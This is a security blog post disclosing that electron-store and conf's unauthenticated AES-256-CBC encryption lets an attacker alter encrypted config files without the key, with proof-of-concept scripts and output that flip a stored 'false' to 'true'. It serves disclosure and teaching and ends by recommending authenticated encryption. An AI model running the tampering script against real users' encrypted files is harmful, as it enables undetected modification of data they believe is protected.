Breaking electron-store's encryption

tl;dr: A well-known attack on unauthenticated CBC mode allows attackers to modify encrypted config files without knowing the secret key.

This post has a Russian translation provided by Babur Muradov, who runs PngSpot!

Disclaimer: I am not a cryptographer, and definitely not an authority on any of this stuff. As of August 15, the docs for electron-store and conf have been updated with more careful claims about the intended use and security of their encryption mechanism.

Background

electron-store is a popular library used for persisting an Electron app’s configuration and other data. It’s a thin wrapper over conf, written by the same author. According to GitHub’s stats, 11.3k public repositories use electron-store, and 48.1k public repositories use conf — though I am sure that only a tiny fraction of those rely on the library’s encryption options for security purposes.

Of note is the encryptionKey parameter the two libraries accept:

encryptionKey

Type: string | Buffer | TypedArray | DataView
Default: undefined

This can be used to secure sensitive data if the encryption key is stored in a secure manner (not plain-text) in the Node.js app. For example, by using node-keytar to store the encryption key securely, or asking the encryption key from the user (a password) and then storing it in a variable.

In addition to security, this could be used for obscurity. If a user looks through the config directory and finds the config file, since it’s just a JSON file, they may be tempted to modify it. By providing an encryption key, the file will be obfuscated, which should hopefully deter any users from doing so.

It also has the added bonus of ensuring the config file’s integrity. If the file is changed in any way, the decryption will not work, in which case the store will just reset back to its default state.

When specified, the store will be encrypted using the aes-256-cbc encryption algorithm.

Due to weaknesses in the choice of algorithm aes-256-cbc, electron-store’s encryption does not ensure the config file’s integrity. This allows an attacker to tamper with its contents, which makes it unsafe to use for protecting sensitive data. As such, only the second security claim of providing obscurity is met.

Security assumptions

Imagine you’re a user of electron-store, and you give your encrypted config file to me (a cloud provider, a border agent, or someone intercepting your traffic) without the key, which you are storing securely. I will have a hard time decrypting its contents, given no other information. But this is a pretty weak definition of security.

So let’s say that I also have the ability to modify your encrypted file however I see fit. And let’s also say that I have a pretty good idea of some of the contents — but maybe not all of the contents — because config files tend to be pretty static and have similar structure. If I give you your file back, do you still trust it? How can you tell?

Note: In practice, most apps using electron-store and conf use its encryption purely for obscurity, rather than to provide true confidentiality or integrity. Often, the key is hardcoded in the app or stored in plaintext somewhere else, since security is not the point. In those cases, this stronger definition of security is moot, and any method of encryption or obfuscation will do.

Encryption mechanism

This is the relevant code from conf:

const encryptionAlgorithm = 'aes-256-cbc';

// ...

if (this.#encryptionKey) {
  const initializationVector = crypto.randomBytes(16);
  const password = crypto.pbkdf2Sync(this.#encryptionKey, initializationVector.toString(), 10000, 32, 'sha512');
  const cipher = crypto.createCipheriv(encryptionAlgorithm, password, initializationVector);
  data = Buffer.concat([initializationVector, Buffer.from(':'), cipher.update(Buffer.from(data)), cipher.final()]);
}

It securely generates a random IV each time the file is saved, and passes the supplied encryptionKey through PBKDF2 with 10,000 rounds of SHA-512 to derive a key. It reuses the IV as the salt (that tingles my spidey-senses, but maybe it’s ok?).*As a side effect of this decision, you can’t easily manipulate the IV without it changing the derived key. This makes it significantly harder to tamper with the first block. Then it encrypts the data with AES-256-CBC under the IV and derived key, and writes out the IV and ciphertext to the file.

If you’re familiar with the limitations of using CBC mode without authentication, then you know where this is going. You can skip right to the proof of concept, as the next two sections just recite how CBC and bitflipping attacks work.

A crash course on AES-256-CBC

For the uninitiated, AES-256-CBC refers to the combination of the block cipher AES-256, and the block cipher mode CBC. A block cipher is an algorithm that takes a key and some fixed amount of data (called a block), and scrambles the block in such a way that it can’t be unscrambled again without the key. AES operates on 128-bit blocks, and the number 256 refers to the key size, which is 256 bits. Note that if you use the wrong key, or use a key to try to decrypt a block that wasn’t encrypted using that key, then AES won’t complain. It’ll just return garbage.

But more pressingly, what if you want to encrypt more than 128 bits of data? Here’s where the block cipher mode comes in. You want to somehow split up your data into blocks, and then somehow feed those blocks into the block cipher. I’m being purposely vague here because there are loads and loads of different modes, which do those steps differently, each with different tradeoffs. The one that electron-store uses is called CBC (cipher block chaining), and here’s how it works. Image courtesy of Wikipedia:

diagram of cbc mode

In CBC mode, the blocks are “chained” by computing the XOR (eXclusive OR, denoted ⊕ in the diagram) of the blocks, one after another. To decrypt a message in CBC mode, we split the ciphertext into blocks. Then for each block, we decrypt it using our block cipher (AES-256), and XOR that decrypted block with the previous ciphertext block to obtain our final plaintext block. We do this for each block in the chain, and combine them to get the final decrypted message.

There is one exception, and that’s the first block. For the first block, there is no previous ciphertext block to XOR with. So we can use a “fake” block called the IV (initialization vector) to kick off the chain.

Please take a moment to stare at the diagram again.

What’s wrong with CBC mode?

There’s a subtle problem with CBC. If we flip a bit in the ciphertext, then the block it’s in will decrypt to pseudorandom garbage. That’s not so helpful for us as attackers, but remember: the block after our modified block will be decrypted by first decrypting it under the block cipher, and then XORing it with our modified ciphertext block.

Our modification therefore gets mixed in with the final decrypted output in a predictable way. In particular, our bit flip in the ciphertext will cause an identical bit flip in the same location of the plaintext of the next block. This lets us reliably flip bits in the plaintext by flipping the corresponding bits in the ciphertext block before it, without having to know the key, at the cost of turning that previous block into garbage. This is extremely powerful, because if we know some of the bits of the plaintext, then we can strategically flip them to say whatever we want.

If you can do this to a cryptographic algorithm, then it is said to be malleable. Generally, you do not want malleability from a file encryption algorithm, for the exact reason that electron-store cites, but does not quite live up to:

It also has the added bonus of ensuring the config file’s integrity. If the file is changed in any way, the decryption will not work, in which case the store will just reset back to its default state.

Proof of concept

The code: https://github.com/veggiedefender/electron-store-encryption/

In the repository, there are three scripts: write_config.js, read_config.js, and tamper_config.js. The first two simulate an electron-store user writing their encrypted config, and then reading it back at a later date. The third script simulates an attacker tampering with it in between.

write_config.js writes an encrypted config file in the current directory. It’s super simple:

const Conf = require('conf')

const config = new Conf({
    cwd: '.',
    encryptionKey: 'super secret key'
})

config.set('message', 'a few words might get scrambled..')
config.set('boom', false)

read_config.js reads and decrypts that config file, prints its contents, and makes a decision based on the config:

const Conf = require('conf')

const config = new Conf({
    cwd: '.',
    encryptionKey: 'super secret key'
})

console.log(config.store)

const boom = config.get('boom')

if (boom) {
    console.log('LAUNCHING THE NUCLEAR WEAPONS, WATCH OUT!!')
    process.exit(0)
} else {
    console.log('Aborting nuclear weapon launch...')
    process.exit(1)
}

If you run them one after another, they’ll do what you’d expect.

$ npm install
$ node write_config.js
$ node read_config.js
[Object: null prototype] {
  message: 'a few words might get scrambled..',
  boom: false
}
Aborting nuclear weapon launch...
$ hexdump -C config.json
00000000  b5 d4 28 f3 3e 7b 3f 90  7e 78 e6 52 27 50 fd e3  |..(.>{?.~x.R'P..|
00000010  3a 87 e7 50 a5 df 5f e5  64 3e 55 be 0c 0a 08 22  |:..P.._.d>U...."|
00000020  66 13 00 e8 25 22 3e a9  6f b4 eb 34 87 91 a1 18  |f...%">.o..4....|
00000030  08 b3 60 2d 38 30 a2 fc  ce a7 94 05 6f 62 ec 8b  |..`-80......ob..|
00000040  7d 16 51 8f ac f9 60 30  68 78 a5 2f 9d b9 46 25  |}.Q...`0hx./..F%|
00000050  9a 96 1a bf b7 d7 ee 6a  d6 06 20 ab ec 7e b0 0b  |.......j.. ..~..|
00000060  5f                                                |_|
00000061

Our goal as the attacker is to set boom to true, and launch the nuclear weapons without knowing the key. Now run tamper_config.js, which simply flips a few of the bits of the encrypted file so that it will decrypt to boom: true.

const fs = require('fs')
const { Buffer } = require('buffer')

const PATH = 'config.json'

function xor_buffers(a, b) {
    const result = Buffer.alloc(a.length)
    for (let i = 0; i < a.length; i++) {
        result[i] = a[i] ^ b[i]
    }
    return result
}

const encryptedConfig = fs.readFileSync(PATH)

const iv = encryptedConfig.slice(0, 16)
const ciphertext = encryptedConfig.slice(17)

// Compute the bit flips required to go from "fals" to " tru"
const flips = xor_buffers(Buffer.from('fals'), Buffer.from(' tru'))

// Apply those bit flips to the block _before_ the block we want to modify
const flippedBytes = xor_buffers(flips, ciphertext.slice(44, 48))
flippedBytes.copy(ciphertext, 44)

// Write back the tampered config
const data = Buffer.concat([iv, Buffer.from(':'), ciphertext])
fs.writeFileSync(PATH, data)

If we try running read_config.js again, we’ll see …

$ node tamper_config.js
$ node read_config.js
/home/jesse/Projects/electron-store-encryption/node_modules/conf/dist/source/index.js:289
            throw error;
            ^

SyntaxError: Unexpected token  in JSON at position 32
    at JSON.parse (<anonymous>)
    at Conf._deserialize (/home/jesse/Projects/electron-store-encryption/node_modules/conf/dist/source/index.js:67:43)
    at Conf.get store [as store] (/home/jesse/Projects/electron-store-encryption/node_modules/conf/dist/source/index.js:277:43)
    at new Conf (/home/jesse/Projects/electron-store-encryption/node_modules/conf/dist/source/index.js:130:32)
    at Object.<anonymous> (/home/jesse/Projects/electron-store-encryption/read_config.js:3:16)

Wait, wasn’t this supposed to work? Why isn’t it parsing correctly?

Recall that if we flip bits in the ciphertext block, then they’ll flip the corresponding bits in the next plaintext block, but they’ll also turn the block we touched into garbage. As it turns out, most random garbage isn’t valid JSON.

So in fact, electron-store does provide some form of integrity, called JSON.parse(), and any kind of tampering that results in a bad parse will result in a crash, like we saw above. But JSON.parse() was never designed for cryptographic integrity, and some garbage is ok!

Try re-running the whole process a few more times. To make it less tedious, I’ve provided a script, attempt_tampering.sh, which is just a loop to automate running the three javascript files. After a few tries, it’ll succeed:

$ ./attempt_tampering.sh
[Object: null prototype] {
  message: 'a few words might�tG��3��ܲ4Y^�4�',
  boom: true
}
LAUNCHING THE NUCLEAR WEAPONS, WATCH OUT!!

As long as our scrambled block is contained inside a string (as I’ve designed the proof of concept code to do), then we have a lot more wiggle room — the random garbage only needs to not contain any of the 32 ASCII control codes for it to be a valid JSON string. The probability of that happening is about (1 - 32/256)^16 ≈ 11.8%. Or, a little over one in nine attempts will succeed, which is not negligible, especially for a crypto attack.

Other attacks

CBC mode is also vulnerable to padding oracle attacks which can leak the entire plaintext of the encrypted file in some scenarios. However, it’s hard to imagine how one would carry out a padding oracle attack against an electron app’s config file.

Takeaways

Both the bit-flipping attack and the padding oracle attack are a consequence of AES-256-CBC’s malleability, which means it is possible for an attacker to modify the encrypted data without the victim knowing. Encryption alone does not provide integrity. This is usually solved by authenticated encryption algorithms, called AEADs, which do provide integrity, usually by incorporating some kind of MAC (message authentication code) to detect modifications to the ciphertext.

But in general, regular application developers like us shouldn’t be choosing encryption algorithms or calling low-level cryptography APIs ourselves. Instead, common advice is to use libraries like libsodium, whose authors spend a lot of time studying this stuff, and package up secure implementations of the right algorithms behind APIs that are hard to misuse.

As a final note, I want to reiterate that for most real-world uses of electron-store and conf, this vulnerability is a total non-issue, because they only use the encryption to provide a layer of obscurity. I’m not here to talk trash about these tremendously handy libraries, or tell you not to use them. I am telling you to follow their updated docs, and not use them for security purposes.

However, it’s still a massive footgun (partially mitigated by the docs) because it can give users and developers a false sense of security. Encrypted data looks encrypted, no matter how broken the algorithm is — “the problem with bad security is that it looks just like good security” — and faults are often as subtle as they are devastating.

Stay safe out there 🤠

Further reading

P.S. I learned what little I know about cryptography by doing cryptopals.